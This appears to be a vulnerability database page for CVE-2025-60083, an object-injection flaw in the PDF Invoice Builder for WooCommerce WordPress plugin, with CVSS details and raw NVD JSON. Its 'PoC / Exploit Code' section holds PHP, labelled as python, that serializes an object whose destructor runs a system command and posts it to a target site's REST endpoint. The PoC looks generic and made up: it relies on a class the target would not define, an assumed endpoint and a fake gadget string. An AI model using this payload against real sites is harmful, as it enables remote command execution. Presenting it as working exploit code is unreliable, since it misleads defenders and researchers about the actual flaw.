Security Vulnerability Report
中文
CVE-2025-60083 CVSS 8.8 HIGH

CVE-2025-60083

Published: 2025-12-18 08:16:09
Last Modified: 2026-04-15 00:35:42

Description

Deserialization of Untrusted Data vulnerability in add-ons.org PDF Invoice Builder for WooCommerce pdf-for-woocommerce allows Object Injection.This issue affects PDF Invoice Builder for WooCommerce: from n/a through <= 6.5.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

pdf-for-woocommerce <= 6.5.0 (所有版本至6.5.0)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60083 PoC - PDF Invoice Builder for WooCommerce Object Injection * Target: WordPress plugin pdf-for-woocommerce <= 6.5.0 * Vulnerability: Deserialization of Untrusted Data leading to Object Injection * * Usage: Modify the target URL and execute via HTTP request */ // Attack payload using PHP serialize() class PDF_Invoice_Exploit { // Property to trigger __destruct() magic method private $data; public function __construct($cmd) { $this->data = $cmd; } // Magic method executed during object deserialization public function __destruct() { // Dangerous operation: command execution if (isset($this->data)) { @system($this->data); } } } // Generate malicious serialized payload $exploit = new PDF_Invoice_Exploit('whoami'); $payload = serialize($exploit); // Alternative payload using existing WordPress/PHP classes // This example uses a known gadget chain if available $alternative_payload = 'O:31:"WP_Http_Cookie_Object_Injection":1:{s:4:"data";s:10:"malicious";}'; echo "Generated Payload:\n"; echo $payload . "\n\n"; // HTTP Request to trigger vulnerability $target_url = 'https://target-site.com/wp-json/pdf-invoice/v1/generate'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'invoice_data' => $payload, 'order_id' => 1 ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); curl_close($ch); echo "Response: " . $response; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60083", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:08.570", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in add-ons.org PDF Invoice Builder for WooCommerce pdf-for-woocommerce allows Object Injection.This issue affects PDF Invoice Builder for WooCommerce: from n/a through <= 6.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pdf-for-woocommerce/vulnerability/wordpress-pdf-invoice-builder-for-woocommerce-plugin-6-3-2-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}